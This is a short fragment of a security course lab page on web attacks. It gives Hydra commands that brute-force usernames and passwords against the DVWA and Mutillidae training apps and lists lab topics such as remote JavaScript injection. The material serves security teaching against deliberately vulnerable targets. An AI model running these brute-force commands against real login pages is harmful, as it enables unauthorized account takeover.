ScriptsHydra for DVWA: hydra -L list_user -P list_password [IP META] http-post-form '/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed' Hydra for Multillidae: hydra -L list_user -P list_password [IP META] http-post-form '/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^&login-php-submit-button=Login:Not Logged In' Part 1Part 2Part 3Part 4Part 5Lab 5: Web Attacks[Back] This outlines the Web Attacks [Lab 5] Link Modification (page 8)Remote JavaScript Injection (page 9)DemoThe video stalls, but here is another one which may capture the part that is missing: A few hints
|